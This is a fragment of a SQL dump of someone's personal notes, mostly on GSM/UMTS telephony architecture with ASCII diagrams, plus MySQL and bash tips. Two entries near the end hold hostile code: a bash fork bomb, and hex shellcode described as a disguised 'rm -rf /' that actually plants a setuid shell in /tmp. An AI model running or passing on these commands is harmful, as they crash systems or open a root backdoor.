is like the internet for the telephones\n\n               +----+                +----+\n               | co +----------------+ co |\n               +--+-+--------+       +--+-+\n                  |          |          |\n                  |          |          |\n                  |          |          |\n                  |          |          |\n                +-+--+       +----------+----+\n                | co |                  | co |\n            +-->+----+  <<<-----+       +----+\n            |      ^            |\n     +------+      |            |\n     |phone1|      |            |\n     +------+ +----+-+          +------+\n              |phone2| ........ |phoneN|\n              +------+          +------+\n\npstn is the network of co\n\nnadp is a sort of protocol used in pstn\n  +----+                                      +----+\n  | co |---->>....co....co...------------>>   | co +-------phoneB\n  +----+                                      +----+\n     ^\n     |\n  +--+---+\n  |phoneA|\n  +------+\nif phoneA wants to contact phoneB\n    it uses nadp\n\n\n\n                                                           +--- this is a box in which\n                                                           |      the co_ctrl will stop\n   +------+                                  +------+      |\n   |  co  | <<----.... co .......co......<<--+  co  |      |\n   +------+                                  +--+---+      |\n                                                |          |                +----house------+\n                                                |   +--+   |                |               |\n                                                |   |  |   +---------+------+        +-----+|\n                                                +---+  +-------------|demarc+--------+phone||\n                                                    |  |             +------+        +-----+|\n                                                    |  |                    +---------------+\n                                                    |  |\n                                               +----+--+\n                                               +-telephone_pole\n\ntelephon_company will be responsible for communication from the co and pstn till the demarc_box\nif sth wrong happen from the demarc_box till the phone, it will not be the responsible of the\n    telephony_company\n\n',NULL,NULL,'2015-02-25 17:02:10'),(829,'#telec -isdn -intro','\nit is a set of communication standards for _simultaneous_ digital transmission of: \n    voice, video, data, \n    and other network services over the traditional circuits of the pstn\n	over a _single_line_\n                                          |\n                                    tel_operator_cloud uses\n                                      digital inside the \n                                           cloud\n                                           |\n                                           |                    |\n                                       digital               analog\n          digital                          |                    |\n            |                     +-------------------+         |\n      +--+  |        +-----+ |    |+-----------------+|         |         +-------+\n      |pc+------>>   |modem+-->>  ||  tel_op_cloud   |+------------>>     | modem |\n      +--+  |        +-----+ |    |+-----------------+|                   +---+---+\n                             |    +-------------------+                       |\n                             |                                                |\n                           analog                                       ------|-----digital--\n                                                                              |\n                 +----------------------+                                     |\n                 |+--------------------+|              |          +-----+     |\n                 ||      internet      ||      <<-----------------+ isp |  <<-+\n                 |+--------------------+|              |          +-----+\n                 +----------------------R            digital\n                                                       |\n\nisdn consist of communication between digital to digital end\n',NULL,NULL,'2015-02-25 17:37:42'),(830,'#gsm -cgi','\ncgi = mcc + mnc + lac + ci\n      |              |\n      +--+-----------+\n         +-- lai\n\nmcc: 3decimal places\nmnc: 2decimal places\nlac: min 5decimal places or max 8 decimal placemcc: 3decimal places\nmnc: 2decimal places\nlac: min 5decimal places or max 8 decimal placess\n\nwith the help of cgi, calls are internationally defined in a unique way.\n',NULL,NULL,'2015-02-26 02:57:02'),(832,'#gsm -cell -intro','one BTS covers one cell.\neach cell is given one cgi to identify the cell',NULL,NULL,'2015-02-25 14:44:57'),(833,'#telec -msc -intro #gsm','\nperforms all the switching functions for all mobile stations in the area which is covered\n    by its bss\nmsc switching is based on isdn_switching\n',NULL,NULL,'2015-02-25 17:27:51'),(834,'#gsm -location-area -lai','\nA group of cells form a Location Area\nEach Location Area is assigned a lai\nEach Location Area is served by one or more BSCs\n\neach location-area has its own lai\nthe laiis internationally unique as follows\n    lai = cc + mnc + lac\n        cc:  3 decimal places.\n        mnc: 2 decimal places.\n        lac: maximum 5 decimal places or maximum twice 8 bits coded in hexadecimal (LAC < FFFF)',NULL,NULL,'2015-02-25 15:26:48'),(835,'#gsm -msisdn -msrn -intro','\n====================\n#msisdn---------------------\nThe real telephone number of a mobile station is the msisdn\nIt is assigned to the subscriber (him|her sim)\n\'\nit follows the isdn number plan\n    so it has the following structure:\n    \'\n    msisdn = cc + ndc + sn\n\n#end_msisdn\n\n\n\n\n=================\n#msrn------------------------\nassigned by the locally responsible VLR to each mobile station in its area. \nCalls are also routed to the MS by using the MSRN.\nThe MSRN has same structure as the MSISDN\n    msrn = cc + ndc + snr\n        cc: of the visited area\n        ndc: of the visited area\n        snr: serial number of the phone doesn_t change\n',NULL,NULL,'2015-02-25 15:16:54'),(836,'#gsm -identifiers-addresses','\nthose are the most important identifiers and addresses in gsm:\n==============================\nimei\nimsi\nmsisdn\nmsrn\ntmsi\nlai\nlmsi\nci\nauc\n',NULL,NULL,'2015-02-26 03:07:57'),(837,'#gsm -lmsi','\nThe VLR can assign an additional searching key to each mobile station within its area to accelerate database access\n    this unique key is the lmsi\nThe LMSI is assigned when the mobile station registers with the VLR and is also sent to the HLR\nlmsi is 4bytes\n',NULL,NULL,'2015-02-25 15:50:57'),(838,'-about-analog-signals','\nifk: analog signal is used when a signal has to be carried to long distance\n',NULL,NULL,'2015-02-25 15:57:40'),(839,'#gsm -bts -intro','\nhas a set of Transceivers (TRXs) to communicate with mobiles in its area\n\nOne BTS covers one or more than one cell\n\nBTS is connected to the BSC through Abis Interface which is 2Mbps\n\nBTS transmits and receives voice at 13kbps over air interface to the mobiles.\n',NULL,NULL,'2015-02-25 16:03:18'),(840,'#gsm -bsc -intro','\nSeveral BTSs are connected to the BSC\n\nBSC manages: \n    channel allocation, \n    handovers \n    release of channels at connected BTS\n\n\n            +---+       |        +-----+       |        +-----+\n            |bts| ------------>> | bsc |-------------->>| msc |\n            +---+       |        +-----+       |        +-----+\n                        |                      |\n                    abis_interf             a_interf\n\nBSC has the entire database of cell parameters associated with the BTSs\n\nNo mobile data is stored in the BSC\n',NULL,NULL,'2015-02-25 16:08:47'),(841,'#gsm -rate -trau -intro','\n\n            13kbps            16kbps          16kbps                64kbps\n               |                |               |                      |\n               |                |               |                      |\n     +----+    |    +-------+   |     +-----+   |    +------------+    |       +-------+\n     | MS +------>> |  BTS  +------>> | BSC +------> | MSC & TRAU +--------->> | PSTN  |\n     +----+         +-------+         +-----+        +------------+            +-------+\n',NULL,NULL,'2015-02-25 16:12:35'),(842,'#gsm -plmn -intro','\nthe specific purpose of plmn is providing land mobile telecommunications services to the public\nplmn must be connected to pstn in order to route calls\n\nA PLMN is identified by the mcc and the mnc\n\nplmn interconnects with other plmn_s and other pstn_s\n    or with internet_srvc\n\nThe area covered by one network operator(ex: telma) is called PLMN. \n\nA PLMN can contain one or more MSCs.\n\nifk: gsm is one of the numerous plmn\n',NULL,NULL,'2015-02-28 14:36:39'),(843,'#telec -pots -intro','\nit is the standard service offering from telephone companies from 1876 until about 1960\n',NULL,NULL,'2015-02-25 17:41:35'),(844,'#gsm -tmsi','\nit is stored in the vlr, and it is not passed in the hlr\ntmsi has significance in the area handled by the VLR only.\nTogether with the current location area, TMSI allows a subscriber to be identified uniquely and it can consist of up to 4x8 bits.\n',NULL,NULL,'2015-02-26 02:53:21'),(845,'#gsm -vlr -intro','\nit contains a 2nd db for the mgt of the mobile_s_subscribers located in the vlr area\n    so the load of hlr(1st db) is minimized\n\nit ctrl the roaming of ms in an msc assigned to that ms\nmust contact the hlr for handling the calls\n\n\nresponsible for the current location of a subscriber\n    then assign a tmsi \nassign an additional searching key(lmsi) to each mobile station within its area to accelerate database access.\n\nthe information in the db of the vlr are:\n    all the subscriber numbers which are active\n    imsi\n    \n                          +--------+\n                          | +-----+|\n                          | | hlr ||\n +-----+-------+          | +-----+|           +-------+-------+\n |     |  msc  +----------+--------+-----------+  msc  |       |\n |     +-------+                               +-------+       |\n |                                                             |\n +-----+-------+                               +-------+       |\n       |  vlr  |                               |  vlr  +-------+\n       +-------+                               +-------+\n\nMSC communicates with HLR for subscribers coming from different MSCs.\n    If the subscriber is found valid, \n        then it registers the subscriber in the VLR\n',NULL,NULL,'2015-02-28 03:19:56'),(846,'#gsm -auc -intro','\nauthentication is the process by which a sim is verified\nsecret data and algorithm are stored in the auc.\nauc is associated with the hlr\n\n    +----+         +-----+    +-----+     +------+\n    | ms +->....-->| msc +--->| hlr +---->| auc  |\n    +----+         +-----+    +-----+     +------+\n',NULL,NULL,'2015-02-26 03:09:45'),(847,'#gsm -eir -intro','\ncontains a database which has a series of IMEI\n	which is stored with relevant classifications\n	\'\n	white list:\n		contains the IMEI of type approved mobiles\n	black list:\n		contains IMEIs which should be barred because \n			either they are stolen or are not functioning properly\n	grey list:\n		List of IMEIs which are to be evaluated \n			before they are put in black list\n\nMSC asks the Mobile to send its IMEI\n	MSC then checks the validity of IMEI with the EIR\n\n         +--+                     +-----+      +-----+\n         |ms+---.......-----------+ msc +------+ eir |\n         +--+                     +-----+      +-----+\n',NULL,NULL,'2015-02-26 06:44:04'),(848,'#gsm -bc  -intro','\nit Generates the billing statement for each subscriber\n\nBC may be directly connected to the MSC or through a mediation device\n\nmsc sends cdr to the bc\n\nbc generates the bill according:\n    to the destination called and the call duration\n    to the units set\n    to the template of pulse rates\n                                      +-------------+\n                                      |templates for|\n                                      |  unit costs |\n                                      +-----+-------+\n                                            |\n                                            v\n    +----+              +-----+           +----+\n    | ms +--->.....---->| msc +---------> | bc +------>  call_cost\n    +----+              +-----+  cdr      +----+\n\n',NULL,NULL,'2015-02-26 03:50:14'),(849,'#gsm -noc -omc -important','\nomc = noc\n\nIt is the central monitoring and remote maintenance centre for all network elements\n\nOMC has links to BSCs and MSCs\n\n                     +---+-----+    +---+                 +----+-----+\n                     |bts|     |    |bsc+----+            |    | msc |\n                     +---+  +--+----+---+    |            |    +-----+\n                     +---+--+  |             |  +---------+\n                     |bts|     |             |  |+-------+|\n                     +---+     |             +--+|  omc  ||\n                     +---+-----+             |  |+-------+|\n                     |bts|          +---+    |  +----+----+----+-----+\n                     +---+      +---+bsc+----+       |         | msc |\n                     +---+      | +-+---+            |         +-----+\n                     |bts|      | |                  |\n                     +---+------+ |             +----+------+\n                     +---+        |             |           |\n                     |...|        |             |           |\n                     +---+--------+          +--+--+     +--+--+\n                                             | p c |     | p c |\n                                             +-----+     +-----+\n',NULL,NULL,'2015-02-26 03:59:54'),(850,'#gprs-intro #gsm ','\ngprs is also known as a gsm-ip\n\nit allows the subscriber to make voice calls, and access internet on the go\ngprs is also known as a gsm-ip\ngprs add those nexts to the gsm network:\n    pcu\n    sgsn: the msc for the gprs_network\n    bg: a gateway to other plmn\n    Intra-PLMN backbone:\n        an IP based network inter-connecting all the GPRS element\n\n\n\nanother type of intro:\n======================\nGPRS relies also on re-transmission and data integrity protocols to ensure that \n    data packets transmitted over the radio air interface are not lost or corrupted\n\nGPRS introduces packet data transmission to the mobile subscriber\n    This packet mode technique uses multi-slot technology together with coding schemes (CS-1 to CS-4)\n        that increase the data rates up to 160 kbit/s\n\ngprs is designed to work within an existing gsm\n	with additional packet switching nodes\n	\'\n	This packet mode technique uses multi-slot technology\n		to increase the data rates up to 160 kbit/s.\n\nThe GPRS system uses the physical radio channels as defined for GSM.\n	but it is called pdch\n\nA physical channel used by GPRS is called a pdch\n    The operator can define 0-8 dedicated PDCHs per cell. \n    The first dedicated PDCH in the cell is always a mpdch\n',NULL,NULL,'2015-03-06 00:55:49'),(851,'#gprs-gsm -architecture','\n             +-----------------------------+\n             |            +-----+          |            +------------------------------+\n             |            | bts +----+     |            |                              |\n             |            +-----+    |     |            |                              |\n             |    +-----+            | +---+-+        +-+---+            +------+      |\n             |    | bts +------------+-+ bsc +--------+ msc |            | gmsc +----------isdn\n             |    +-----+            | +---+-+        +-+---+            +------+      |\n             |                       |     |            |                              |\n             |             +-----+   |     |            |        gsm_core              |\n             |             | bts +---+     |            |                              |\n             |             +-----+         |            |     +-----+                  |\n             |    g s m _ r a n            |            +-----+ hlr +------------------+\n             +-----------------------------+                  | auc |\n              +---------------------------+             +-----+ eir +--------------+\n              |  u                        |             |     +-----+              |\n              |      +-------+            |             |                          |\n              |  t   | nodeB +------+     |             |                          |     +----------+\n              |      +-------+      |  +--+--+         ++-----+         +--------+ |     |+--------+|\n              |  r                  +--+ rnc +---------+ sgsn |         |  ggsn  +-------+|internet||\n              |      +-------+      |  +--+--+         ++-----+         +--------+ |     |+--------+|\n              |  a   | nodeB +------+     |             |                          |     +----------+\n              |      +-------+            |             |     gprs_core            |\n              |  n                        |             |                          |\n              +---------------------------+             +--------------------------+\n\n\n\n                  +-------+                   +---+\n                  |msc/vlr+---------D---------+hlr|\n                  +-------+-----+     +-------+---+\n                  |             |     |\n                  A            Gs     Gr\n                  |             |     |\n                  |             |     |\n     +--+         +---+        ++-----+          +----+             +---+\n     |ms+---------+bss+---Gb---+ sgsn +---Gn-----+ggsn+-----Gi------+pdn|\n     +--+         +---+        ++-----+          +----+             +---+\n                                |     |\n                                |     |\n                               Gn     Gp\n                                |     |\n                                |     |\n                 +----+---------+     +------+----+\n                 |sgsn|                      |ggsn|\n                 +----+                      +----+\n\n',NULL,NULL,'2015-02-28 14:29:35'),(852,'#telec #gprs #gsm -gmsc-intro','\nProvides interconnection between \n    the UMTS core network \n    and \n    external PSTN/ISDN networks\n',NULL,NULL,'2015-02-26 06:14:03'),(853,'#gsm -msc -intro','\n          +-----+                                       +---+\n          | bsc +--------+                       +------+hlr|\n          +-----+        |                       |      +---+\n                         |     +-----+           |\n          +-----+    ----+-----+ msc +-----------+\n          | ... |        |     +-----+           |\n          +-----+        |           |           |      +---+\n                         |           |---------+ +------+hlr|\n          +-----+        |    ^     ++-----+   |        +---+\n          | bsc +--------+    |     | pstn |   |\n          +-----+             |     +---+--+   +---------------------fixed_line\n                 |            |         |\n                 +----+-------+  +------+-------------------+\n                      |          |                          |\n      a_interf   -----+    +-----+-----+               +----+------+\n                           |fixed_phone|               |fixed_phone|\n                           +-----------+               +-----------+\n\ncentral about:\n    switching the calls\n    maintaining the calls\n    release the calls\n\ncontains a database for all subscribers and their associated features\n\nMSC is weighted on the number of subscribers it can support\n\nWhen there is more capacity, there are more than one MSCs\n    then there is a concept of gmsc\n    then the schema of the network is not like the one before\n\n         +---+        +-----+ \n         |bsc+--------+ msc +----+\n         +---+        +-----+    |   +------+       +------+\n                                 +---| gmsc +-------+ pstn |\n                                 |   +------+       +------+\n         +---+        +-----+    |\n         |bsc+--------+ msc +----+\n         +---+        +-----+\n\n\nmsc is connected to many other devices\nhere it defines more and shows with more interfaces:\n\n                 +-----+        +-----+          +-----+\n                 | omc |        | vlr |          | eir |\n                 +-----+-----+  +-----+          +-----+\n                             |        |          |               +----------+\n         +---------+         +---+    B          F               | hlr .... |\n         | bss ... |             |    |          |               +----------+\n         +---------+-----A-------+----+-----+----+-------C-------+\n                                 |   m s c  |\n                                 +----------+--E---+\n               +------------+----+                 +----------+\n               |  psn/isdn  |                      | msc .... |\n               |   network  |                      +----------+\n               +------------+\n\n',NULL,NULL,'2015-02-28 14:55:04'),(854,'#gsm -hlr -intro','\nMSC has a database which is stored in hlr\nthat database contains:\n    imsi\n    location information\n        then enabling calls routing from sgsn|msc to ms\n\n    all permanent subscribers\n    describes the subscriber’s profile\n        basic features             -+-----of the subscriber\n        supplementary services     -+\n\nMSC communicates with the HLR to get data for subscribers on call\n',NULL,NULL,'2015-02-28 02:40:23'),(855,'#gsm -channels','\ndivided into 2:\n    physical channels\n        one time slot on one carrier is a physical_channel\n    logical channels\n        information carried by the physical_channel is \n            the logical_channel\n',NULL,NULL,'2015-02-27 12:58:37'),(856,'#gsm -channels -sum_up','\n                                           +----------------+\n                                           +--gsm_channels--+\n                                           +--------+-------+\n                                                    |\n                                                    |\n                  +------------------+              |                +-----------------+\n                  +-physical_channel-+--------------+----------------+ logical_channel |\n                  +------------------+                               +--------+--------+\n                                                                              |\n                                                                  +-----------+--------+\n                                                                  |                    |\n                                                               +--+--+              +--+--+\n                                                               | tch |              | cch |\n                                                               +--+--+              +--+--+\n                                                                  |                    |\n                                                                  |                    |\n                                                          +-----+ |  +-----+           |\n                                                          |tch/f+-+--+tch/h|           |\n                                                          +-----+    +-----+           |\n                                                                               +-------+---------+\n                                                                               |       |         |\n                                                                            +--++    +-+--+   +--+-+\n                                            +-------------------------------+bch|    |ccch|   |dcch|\n                                            |                               +---+    ++---+   +----+\n                             +------------+-+                                         |            |\n                             |            |                      +--------------------+            |\n                        +----+--+      +--+--+                   |                       +-------+ |    +------+\n                        |sync_ch|      | cch |             +-----+-------+               | sdcch +-+----+ acch |\n                        +-+-----+      +-----+             |     |       |               +-------+      +------+\n                          |                       +------+ |  +--+--+  +-+---+                          |\n                  +----+  | +----+                | cbch +-+  |rach |  | pch/|            +-----+       | +-----+\n                  |sch +--+-+fcch|                +------+    +-----+  |agch |            |facch+-------+-+sacch|\n                  +----+    +----+                                     +-----+            +-----+         +-----+\n\n',NULL,NULL,'2015-02-26 07:15:23'),(857,'#umts -architecture',' \n   +--circuit_switched cn----------+   +--packet_switched cn --------------+\n   |         +---------+           |   |                    +--------+     |\n   |         |  gmsc   |           |   |                    |  ggsn  |     |\n   |         +------+--+           |   |                    +---+-+--+     |\n   |                |              |   |                        | |        |\n   |                |            +-+---+-+                      | |        |\n   |                |            |  auc  |                      | |        |\n   |                |            +-------+                      | |        |\n   |                |             +-----+                       | |        |\n   |                +-----C-------+ hlr +--------Gc-------------+ |        |\n   |                              +-----+--------------Gr----+    Gn       |\n   |                              +-----+                    |    |        |\n   |                              | eir |                    |    |        |\n   | +--------+    +-------+---F--+----++---------Gf------------+ |        |\n   | |        |    |       |      |    |                     |  | |        |\n   | |+------+|    |+-----+|      |    +---------------------+--+-+-+------+\n   | ||  vlr |+-G--+| vlr ||      |                          | sgsn |\n   | |+---+--+|    |+--+--++------------Gs-------------------+-+--+-+\n   | |    |   |    |   |   |      |                            |  |\n   | |    B   |    |   B   |      |                            |  |\n   | | +--+--+|    |+--+--+|      |                            |  |\n   | | | msc ||    || msc ||      |+---------Gh | Gb-----------+  |\n   | | +-----++-E--++-----++------------luCS-----------+          |\n   | +--------+    +-------+      ||                   |         luPS\n   +---------------|--------------+|          +--------|----------|------------utran----------+\n                   |               |          | utran  |          |                           |\n                   A               |          | +------|----------|------------+              |\n                   |               |          | |RNS   +------+---+            |      +-----+ |\n                   |               |          | |             |rnc+----lur-----|------+ rnc | |\n                   |               |          | |             +---+            |      +-----+ |\n             +-----+---------------+          | |                              |              |\n             | bsc |                          | |+---------+          +-------+|              |\n             +-----+                          | ||  nodeB  +-lub-+    | nodeB ||              |\n     +-----+          +-----+                 | |+---------+     |    +-------+|              |\n     | bts |          | bts |                 | |         +------+-------+     |              |\n     +-----+          +-----+                 | |         |      |       |     |              |\n                                              | |      +--+-+  +-+-+  +--+-+   |              |\n                                              | |      |cell|  |...|  |cell|   |              |\n                                              | |RNS   +----+  +---+  +----+   |              |\n                                              | |                              |              |\n                                              | +------------------------------+              |\n                                              +----utran---------------------------utran------+\n\n\n\n\n\n\n\n                                                       +--------------+\n                                                       | sms-G/iw_msc |\n                                                       +--+-----------+\n  +--+        +-----+      +-------+    +-----------+     |    +-----+           +-----+\n  |ms|        | bts +------+  bsc  +----+  msc/vlr  +-----|----+ hlr +-----------+ auc |\n  +--+        +-----+      +---+-+-+    +---------+-+     |    +---+-+           +-----+\n                               | |                |  +-Gd-+        |\n                               | |               Gs  +---Gr--------+\n                               | |                |  |\n  +--+         +------------+  | +------Gb-------++--+--+          +------+             +-------------+\n  |ms|         |  edge_tru  +--+            +----+ sgsn |          | ggsn +----Gi-------+ isp_network |\n  +--+         +------------+               |    +-----++          +-+---++             +-------------+\n                                            |         Gn             |   |\n              +---------------+             |          |            Gn   |\n              |   umts        +-------lu----+         ++---------+   |   |          +-----------+\n              |               |                       | backbone +---+   +-----Gi---+ corporate |\n  +--+        |u    +-------+ |                       |  network |                  |   network |\n  |ms|        |t    |bts ...| |                       +----------+                  +-----------+\n  +--+        |r    +-------+ |\n              |a    +-------+ |\n              |n    |rnc ...| |\n              |     +-------+ |\n              +---------------+\n',NULL,NULL,'2015-03-01 14:39:39'),(858,'#telecom software','\nflexi packet\nbts_software\nnemo outdoor\n',NULL,NULL,'2015-02-27 11:36:17'),(859,'with telecom_team','\nyesterday:\n    installed bts at andohatapenaka\n\ntoday:\n    continued the installation of bts at andohatapenaka\n    at andohatapenaka:\n        there are bts(2g, 3g, microwave)\n\nsome family range of the bts(in tana):\n    10.76.16.xxx\n          17.xxx\n          19.xxx\n    192.168.255.xxx\n\none of the gateways:\n    10.76.16.1\n\n',NULL,NULL,'2015-03-01 05:30:34'),(860,'#special','\nall the bts have an ip\n\nwhen you want to get the software in the bts,\n    install the software\n    update it\n    do the configuration of the commisioning\n    do the commisionning\n\nthose are some softwares which deal with telecoms:\n    2g_flexi\n    bts_site_manager\n    nemo_outdoor\n',NULL,NULL,'2015-02-27 11:55:55'),(861,'#gsm -channel-combination','\nI have to do more research about carriers - channels - spectrum\n\na spectrum is divided into 127carriers\n    let_s suppose that airtel has 42carriers\n    some of those 42channels will be combined_channels\n        some will be non-combined-channels\n\nin combined_channels\n_____________________________________________\n\nAll the controlling signals are in the time slot 0 of the Multi-frame\nifk: \n\n     result from the fdma (and this one is a combined_channel)--+\n                                                                |\n     +----------------------------------------------------------+----+\n     |                                                               |\n\n     |               |              |               |                |\n     +---------------+--------------+---------------+----------------+....\n     |               |              |               |                |\n\n     |               |\n     +-+-------------+\n       +--- divided by 8 (0 ... 8)\n       |        and ctrl signals are in the time_slot_nb0\n       |  \n       +---     dedicated ctrl signals are in time slot_nb1 \n\n  \nin non-combined-channels:\n_______________________________\n\nDedicated controlling signals are in time slot 1 of the Multi-frame\n\n',NULL,NULL,'2015-02-27 13:27:04'),(862,'#gsm -architecture -with-interfaces','\n                              +---+\n                              |auc|\n                              +-+-+\n                                |\n                                h\n                                |\n                              +-+-+       +---+            +---+\n              +-----h---------+hlr+---d---+vlr|            |eir|\n         +----+           +-c-+---+       +-+-+            +-+-+\n         |gmsc|           |                 |                |\n         +----+           +-c-+---+         |                |\n              |               |msc+----b----+                |\n              +---------------+-+-+-----------------f--------+\n                                a\n                                |\n                              +-+-+\n                              |bsc|\n                              +---+\n\n                                .\n                                .\n                                .\n                                .',NULL,NULL,'2015-02-27 15:04:16'),(863,'#gsm -abis-interface','\nresponsible for transmitting traffic and signalling information between the BSC and the BTS\n    by using the lapd(a protocol)\n',NULL,NULL,'2015-02-27 15:29:35'),(864,'#gsm -imei -intro','\n#imei--------------------\n\nimei is a number which is unique for each ms\n\nimei = fac + tac + snr + sp\n\n#imsi-----------------------\ndifferent subscribers_identity are used, and they are used in different phases of call setup\n\'\nimsi is the first nb_identity of the subscriber\n    it is assigned permanently to that subscriber\n    \'\n    imsi = mcc + mnc + msin\n',NULL,NULL,'2015-02-28 03:18:14'),(865,'#mysql -column-change|modify|rename',NULL,NULL,'\nboth change and modify are able to change the description of a col\n\'\nalter table table00 change column col00 col01 descr_col;\n    used if u want to _rename_ the col00 \n\nalter table table00 modify column col00 descr_col;\n    used if u don_t want to change the name of the col\n\n\'\nexp:\n    alter table person change name real_name text;\n','2015-02-28 03:50:56'),(866,'#gsm -sim -intro','\nused to route the call\n\nused to perform billing\n',NULL,NULL,'2015-02-28 03:57:09'),(867,'#gsm -identification','\nimsi is the first nb used for the identification\n    it is transmitted in the initialization of the mobile\n\'\nafter sending imsi\n    tmsi is sent and updated periodically:\n        bcz of the security\n        with the lai\n\nmsisdn is used to identify a subscriber everywhere in the world (ifk)\n\nsubscriber authentication key(ki) (to search)\n',NULL,NULL,'2015-02-28 04:05:11'),(868,'#telec -drive-test','\nhttp://en.wikipedia.org/wiki/Drive_testing\nDrive testing is a method of measuring and assessing the coverage, capacity and Quality of Service (QoS) of a mobile radio network\n\nhttp://www.telecomhall.com/what-is-rf-drive-test-testing-.aspx\nit  is the procedure to perform a test while driving\nyou can do a drive test using a motorcycle or bicycle.\n    What matters is the hardware and software used in the test\n    \'\n    the following is the schematic of the std_connections:\n\n                                                                +-----------+\n                                                                |  scanner  |\n                                                                +----+------+\n                                        +----+                       |\n                         +-----+        | pc |                       |\n                         | gps +--------+----+-----------------------+\n                         +-----+       /    /            +--------+\n                                      ------+--+     +---| dongle |\n                                               |     |   +--------+\n                                               +-----+\n                                                     |\n                                                     |    +--+\n                                                     +----|ms|\n                                                          +--+ \n\nthe pc will output sth like the follows;\n    \n              |           |\n              |<--Road--->|       +----  ms   : signal level - best server --+\n              |           |       |                ........                  |\n              |           |       |                                          +-- output file\n         +----+       +---+       +---- gps   : latitude - longitude         |\n         |            |           |                .........                 |      of\n         |    +-+     |           |                                          |\n         |    |x+-----------------+----- scanner : other servers             |    the pc\n         |    +-+     |                            .........               --+\n         |            |\n   ------+     +------+\n               |\n               |\n   ------------+\nGPS: collecting the data of latitude and longitude of each point\n    and more things, but those are the most important\n\'\nms: mobile data collections, such as signal strength,\n    best_server\n\'\nscanner:    collecting data throughout the network\n\nCurrently, there are already cell phones that do everything.\n    They have a GPS,\n    collection of specific software\n    \'\n    but they are very expensive\n\nSTEPS:\n    The routes are predefined in the office\n        it indicates where testing will occur.\n        \'\n        This area is defined based on several factors, mainly related to the purpose of the test.\n',NULL,NULL,'2015-02-28 15:41:02'),(869,'#gsm -main-signalling-channels','\nhttp://www.whytelecom.com/content/signaling-channel-gsm-radio-interface\nbch\n    transmitted by the bts to the ms\n    it carries sys_param\n    bcch\n    fcch\n    sch\n    cbch\ncch\nsdcch\nacch\nccch\n\n',NULL,NULL,'2015-02-28 17:12:26'),(870,'#gen_c #lakh','\nA lakh or lac\nabbr L\na unit in the Indian Numbering System\nequal to one hundred thousand \n\n1L = 10^5\n',NULL,NULL,'2015-03-01 05:41:13'),(871,'#gen_c #sq.km -unit','\n1sq.km = 1km^2\n\n1sq.km = 0.3861 square miles\n         247.1 acres\n\n1 acre = about 0.004047km2, 0.4047ha or 4047 m^2\n',NULL,NULL,'2015-03-01 05:47:24'),(872,'create windows_bootable from linux','\nhttp://www.webupd8.org/2010/10/create-bootable-windows-7-usb-drive.html\n================================================================================\n\nmake sure that those next packages are installed:\n    gparted\n    ntfs-3g\n\nplug ur usb_stick\nopen gparted(Applications > Sys_tools > Administr > gparted)\nselect the usb_stick\n    (gparted > devices > /ur/usb_stick)\numount the usb_stick (from gparted)\nto format the usb_stick in ntfs_format\n    (partition > format > ntfs)\nmake the usb_will be bootable\n    right_click usb_stick\n    select Manage_flags > \"boot\"\nmount back the usb_drive\nsome users told that w7 installation fails\n    dl unetbootin version494\n        http://sourceforge.net/projects/unetbootin/files/UNetbootin/494/unetbootin-linux-494/download\n\nright_click the file just dldd\n     select (properties > permissions > allow_executing_file_as_prg)\n\ndouble_click the dldd_file\nu have the option \"show all drives\" in the 494version\n\ninstall ur windows7 onto ur usb_drive\n\n',NULL,NULL,'2015-03-01 14:16:47'),(873,'#telec -wcdma','\nwcdma technology provides some advantages for the operator \n    in that it allows the data, \n    improves the voice of base.\n\nWCDMA can offer more voice minutes with better quality\n\nVoice capacity offered is very high due to \n    interference control mechanisms, \n    including frequency reuse of 1, \n    fast power control, \n    and soft handover.\n\nwcdma improves broadband voice service with amr_codec\n\nwcdma provides better capacity of the bts \n    and the efficiency of the equipment\n\na large number of users are supported by the carrier\n    with less rf_carriers required\n\nwcdma operators are able to provide useful data_services:\n    navigation\n    person to person video_calls\n    tv_clips\n\nit enables simultaneously voice and data\n\nthe operators offer moblie connectivity to the internet \n    with maximum bit_rate of 384kbps downlink and uplink\n\n',NULL,NULL,'2015-03-01 14:57:23'),(874,'#telec -hspa -hsdpa-hsupa','\nhspa = hsupa + hsdpa \n\nThe HSDPA peak data rate available in the terminals is initially 1.8Mbps\n    it is increasing and later it will be beyond 10MBps\n\nThe HSUPA peak data rate in the initial phase was 1–2 Mbps and the second phase was 3–4Mbps\n',NULL,NULL,'2015-03-01 15:07:13'),(875,'#by_me -sys playlist -important','\ni decided to put all vid in /hddXX/vid\nto make it easy to access,\n    i use files for the playlist\n\nall playlist_file will start with:\n    pl\n',NULL,NULL,'2015-03-01 16:46:47'),(876,'files and its extension','\nvideo:\n    webm\n    3gp\n    mp4\n    avi\n    flv\n#end_video\n\naudio:\n    mp3\n    wav\n    ogg\n#end_audio\n\npic:\n    gif\n    jpg\n    jpeg\n#end_pic\n',NULL,NULL,'2015-03-02 01:58:05'),(877,'vlc features',NULL,NULL,'\nhttp://www.howtogeek.com/173222/10-useful-features-hidden-in-vlc-the-swiss-army-knife-of-media-players/\n','2015-03-01 17:09:05'),(878,'#linuxfork bomb',NULL,':(){ :|: & };:',NULL,'2015-03-01 17:26:16'),(879,'#linux rm_-rf_/',NULL,NULL,'\nrm -rf / \n	could be disguised in hexadecimal, this is the hexadecimal of that cmd\n	\'\n	char esp[] __attribute__ ((section(“.text”))) /* e.s.p\nrelease */\n= “\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68?\n“\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99?\n“\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7?\n“\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56?\n“\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31?\n“\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69?\n“\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00?\n“cp -p /bin/sh /tmp/.beyond; chmod 4755\n/tmp/.beyond;”;\n','2015-03-01 17:34:21'),(880,'#mysql -error -repair-table',NULL,NULL,'\nsometimes u have the msg in ur mysql that u have to repair table00\n    repair table table00;\n','2015-03-01 18:03:26'),(881,'#bash -rename -append-str-files',NULL,NULL,'\nto append the str00 in the beginning of the file\n    rename \'s/^/str00/\' *\n\nto append the str in the end of the file\n    rename \'s/$/str00/\' *\n\nrename all files with DATASET in the start of its names\n    rename \'s/^/1_/\' DATASET*\n','2015-03-02 01:12:17'),(882,'#linux -tail-f-folder 